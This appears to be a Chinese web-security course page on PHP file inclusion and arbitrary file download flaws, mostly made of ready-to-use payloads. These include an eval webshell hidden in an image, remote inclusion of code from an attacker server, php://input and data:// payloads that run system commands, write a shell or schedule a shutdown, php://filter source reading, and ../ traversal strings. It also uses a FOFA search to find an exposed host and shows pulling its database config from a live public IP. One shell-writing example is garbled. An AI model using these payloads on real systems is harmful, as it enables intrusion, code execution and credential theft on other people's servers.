您当前的位置:首页 > 文章 > 文件包含 & 下载读取漏洞

文件包含 & 下载读取漏洞

作者:佳&弥 时间:2026-08-14 阅读数:109 人阅读分享到:

文件包含 & 下载读取漏洞 — 借力打力,空手套白狼

前面的文件上传漏洞,你还要费心把木马传上去。但文件包含漏洞更省事——网站本身就有include(),你只需要告诉它去包含一个恶意文件就行。配合伪协议,甚至不需要上传任何东西,一段 POST 数据就能直接执行系统命令。最后顺手把文件下载漏洞也收了。


课程概览

1. 上节课回顾:图片木马 & FCKeditor
2. 文件包含概念
3. 本地包含 & 远程包含(无限 / 有限 / 绕过)
4. PHP 伪协议五件套:http / filter / input / file / data
5. 文件下载读取漏洞

一、上节课快速回顾

图片木马制作 — edjpgcom 工具

除了copy /b命令行合成,还有一种更简单的方式——用edjpgcom.exe。

步骤:

  1. 将要注入恶意代码的图片拖到edjpgcom.exe上
  2. 在弹窗的输入框中输入一句话木马(如<?php @eval($_POST['cmd']);?>)
  3. 保存 → 木马已嵌入图片
# 验证图片马是否生效 http://localhost/include/upload.php?filename=file:///E:\AppsGreen\edjpgcom\360.jpg

FCKeditor 漏洞速览

上节课讲过,这里只回顾关键步骤。

# 执行 fck.php 利用脚本
E:\upload-labs-env\PHP> .\php.exe .\fck.php 127.0.0.1:80 /fckeditor/

访问http://localhost/userfiles/image/fuck.php+ POSTcmd=phpinfo()→ 木马生效。


二、文件包含概念

什么是文件包含?

文件包含:将指定的文件当作代码执行

在真实的开发项目中,文件包含用于复用代码(比如每个页面都 include 一个header.php),省去重复劳动。但攻击者可以让它包含恶意文件。

<?php $filename = $_GET['filename']; include($filename); // 用户传什么就包含什么,毫无过滤! ?> 

危害

  • ?? 执行恶意代码(配合图片木马)
  • ?? 读取敏感文件(配置文件、数据库密码)
  • ?? 拿服务器权限(包含远程 Webshell)

如何检测

方式 方法
白盒 代码审计:搜索include、require、include_once、require_once等函数,看参数是否可控
黑盒 观察 URL 参数中的file=、page=、filename=等,尝试传入已知文件路径

三、文件本地包含 & 远程包含

本地包含 vs 远程包含

类型 说明 危害
本地包含 只能包含服务器已有的文件 需配合文件上传漏洞使用
远程包含 可以包含互联网上任意文件 直接加载远程木马,危害更大

远程包含需要allow_url_include = On,默认是关闭的,但一旦开启就是灾难。


3.1 本地包含 — 无限制

upload.php(靶场):

<?php $filename = $_GET['filename']; include($filename); // 没有任何限制! ?> 

1.txt(被包含的文件):

<?php phpinfo(); ?> 

访问:

http://127.0.0.1/include/upload.php?filename=1.txt

1.txt的内容被当作 PHP 执行 → 服务器配置信息全泄露!


3.2 本地包含 — 有限制(固定后缀)

upload2.php:

<?php $filename = $_GET['filename']; include($filename . ".html"); // 强制拼接 .html 后缀! ?> 

你能控制$filename,但它会自动在后面加.html。包含1.txt实际变成包含1.txt.html→ 找不到文件!


3.3 有限制的绕过

方法一:00 截断
http://127.0.0.1/include/upload2.php?filename=1.txt%00

拼接结果:1.txt%00.html→%00截断 → 最终包含1.txt?

方法二:长度截断

Windows 文件路径最长 255 个字符,Linux 最长 4096 个字符。用超长路径撑爆限制。

http://127.0.0.1/include/upload2.php?filename=1.txt.....................................................

当文件名超过系统最大长度时,末尾的.html被操作系统自动截断丢弃。


3.4 远程包含 — 无限制

前提条件:allow_url_include = On

在攻击者服务器(192.168.220.137)上放好木马:

http://192.168.220.137/1.txt  →  <?php phpinfo(); ?>

在受害者服务器上触发:

http://127.0.0.1/include/upload.php?filename=http://192.168.220.137/1.txt

受害者的 PHP 去远程加载攻击者服务器上的1.txt→ 当作 PHP 执行 → 远程木马被执行!


3.5 远程包含 — 有限制(固定后缀 .html)

http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt

实际包含:http://192.168.220.137/1.txt.html→ 文件不存在!

方法一:文件名绕过

既然拼接是.html,我把文件命名为1.txt.html不就行了?

改攻击者服务器上的文件名为1.txt.html,访问时只用1.txt→ 拼接成1.txt.html→ 成功!

方法二:%23(# 号)截断
http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt%23

拼接结果:http://192.168.220.137/1.txt%23.html→%23解码为#→ 服务器访问时#及后面全被忽略 → 实际请求http://192.168.220.137/1.txt?

方法三:? 号截断
http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt?

拼接结果:http://192.168.220.137/1.txt?.html→?后面变成 URL 参数 → 实际请求http://192.168.220.137/1.txt?

方法四:空格绕过

空格会被自动去除,文件名实际恢复为1.txt。


四、PHP 伪协议 — 文件包含的超级武器

PHP 伪协议让我们不需要上传任何文件,直接在 URL 或 POST Body 中写代码就执行!

支持的伪协议列表

file://   — 访问本地文件系统
http://   — 访问 HTTP(s) 网址
ftp://    — 访问 FTP(s)
php://    — 访问输入/输出流(最常用)
zlib://   — 压缩流
data://   — 数据流(RFC 2397)
glob://   — 查找匹配的文件路径模式
phar://   — PHP 归档
expect:// — 处理交互式流

我们重点讲最常用的五个:httpfilterinputfiledata


4.1 http:// / https:// 协议

用于远程包含,以 HTTP GET 方式只读访问远程文件。

http://localhost/include/upload.php?filename=http://192.168.220.137/1.txt

前面远程包含已经演示过,不赘述。


4.2 php://filter — 读取源码神器

读取文件内容并以指定编码输出,常用于读取 PHP 源码而不被执行

语法
php://filter/read=convert.base64-encode/resource=文件路径
案例:读取 upload.php 源码
http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

返回 Base64 编码的 upload.php 源码 → 火狐渗透版浏览器 Base64 解码 → 拿到完整 PHP 代码!

filter 参数速查
过滤器类型 常用过滤器 作用
字符串 string.rot13 ROT13 变换
字符串 string.toupper 转大写
字符串 string.tolower 转小写
字符串 string.strip_tags 去除 HTML/PHP 标签
转换 convert.base64-encode/decode Base64 编解码
压缩 zlib.deflate/inflate gzip 压缩/解压

4.3 php://input — POST 数据直接当代码执行

将 POST 请求的原始数据(Body)当作 PHP 代码来执行。不需要上传任何文件!

语法
http://127.0.0.1/include/upload.php?filename=php://input [POST Body]: <?php phpinfo(); ?> 
案例 1:查看系统版本
# URL: http://localhost/include/upload.php?filename=php://input # POST Body: <?php system('ver') ?> 
案例 2:执行 ipconfig
# URL: http://localhost/include/upload.php?filename=php://input # POST Body: <?php system('ipconfig') ?> 
案例 3:写入一句话木马
# URL: http://localhost/include/upload.php?filename=php://input # POST Body: <?php                                                         ?>'); ?> 

执行后在服务器上创建了shell.php,用蚁剑连接:http://localhost/include/shell.php,密码cmd。

更多可以执行的系统命令
<?php system('dir') ?> <?php system('whoami') ?> <?php system('shutdown -s -t 10800') ?> # 3小时后关机(取消: shutdown -a) 

4.4 file:// — 读取本地文件

用于访问本地文件系统,需要完整路径

语法
file:///完整路径
案例:读取 Windows hosts 文件
http://localhost/include/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

直接返回 hosts 文件内容!


4.5 data:// — 数据流即代码

直接在 URL 中传递 PHP 代码并执行,不需要文件、不需要 POST Body。

语法 1:纯文本
http://localhost/include/upload.php?filename=data://text/plain,<?php phpinfo();?> 
语法 2:Base64 编码

当代码中有特殊字符(如<>)时,建议 Base64 编码。

# <?php phpinfo();?>  → Base64 编码 → PD9waHAgcGhwaW5mbygpOz8+ http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b

四大核心伪协议对比

协议 数据来源 最常用场景 需要上传?
php://filter 服务器本地文件 读取 PHP 源码 ?
php://input POST Body 执行任意 PHP 代码 + 写马 ?
file:// 服务器本地文件 读系统配置文件 ?
data:// URL 参数本身 轻量代码执行 ?

这四个协议都不需要上传文件,纯靠文件包含漏洞本身就拿下了。


案例:南邮 CTF — filter 读源码

真实 CTF 赛题:https://chinalover.sinaapp.com/web7/

https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

返回 Base64 编码的index.php源码 → 解码 → 得到 Flag!


五、文件下载 / 读取漏洞

与文件包含类似,但不执行代码,只下载文件。通过路径遍历读取任意文件。


5.1 远程 Pikachu 靶场

FOFA 搜索
"pikachu" && country="CN" && title="Get the pikachu"

找到真实靶场:http://39.102.211.124:8085/vul/unsafedownload/down_nba.php

正常下载

下载地址:

http://39.102.211.124:8085/vul/unsafedownload/execdownload.php?filename=kb.png

图片实际路径:

http://39.102.211.124:8085/vul/unsafedownload/download/kb.png

5.2 路径遍历 — 下载配置文件

攻击: 利用../路径遍历读取网站配置文件。

http://39.102.211.124:8085/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

../../../回退到网站根目录 → 进入inc/目录 → 下载config.inc.php→ 数据库密码等敏感信息到手!


路径遍历常用 Payload

../etc/passwd
../../etc/passwd
....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

六、课后作业

复现 filter、input、data 三种伪协议的实战案例。


全技术图谱

文件包含漏洞
├── 本地包含
│   ├── 无限制 → 直接包含
│   ├── 有限制(固定后缀)
│   │   ├── 00 截断
│   │   └── 长度截断(Windows 255 / Linux 4096)
│   └── 配合文件上传 → 包含图片马
├── 远程包含(allow_url_include = On)
│   ├── 无限制 → 直接 http:// 远程加载
│   └── 有限制
│       ├── 文件名绕过(改名匹配后缀)
│       ├── %23(#)截断
│       ├── ? 号截断
│       └── 空格绕过
├── PHP 伪协议(不需要上传任何文件!)
│   ├── php://filter  → 读源码(Base64)
│   ├── php://input   → POST 即代码 + 写 Webshell
│   ├── file://       → 读本地任意文件
│   ├── data://       → URL 即代码
│   └── http://       → 远程加载
└── 文件下载/读取漏洞
    └── ../ 路径遍历 → 读配置文件 / 源码

写在最后: 文件包含是 Web 安全中「四两拨千斤」的典范。不需要上传、不需要注入,一个php://input+ POST Body 就能直接执行系统命令。而文件下载漏洞更简单——几层../就把对方配置文件搬回家了。两个洞的核心都是:路径可控 = 灾难开始。下一课见!


来源:https://blog.csdn.net/2503_94807485/article/details/163528707

本站大部分文章、数据、图片均来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了您的权益请来信告知我们删除。邮箱:1451803763@qq.com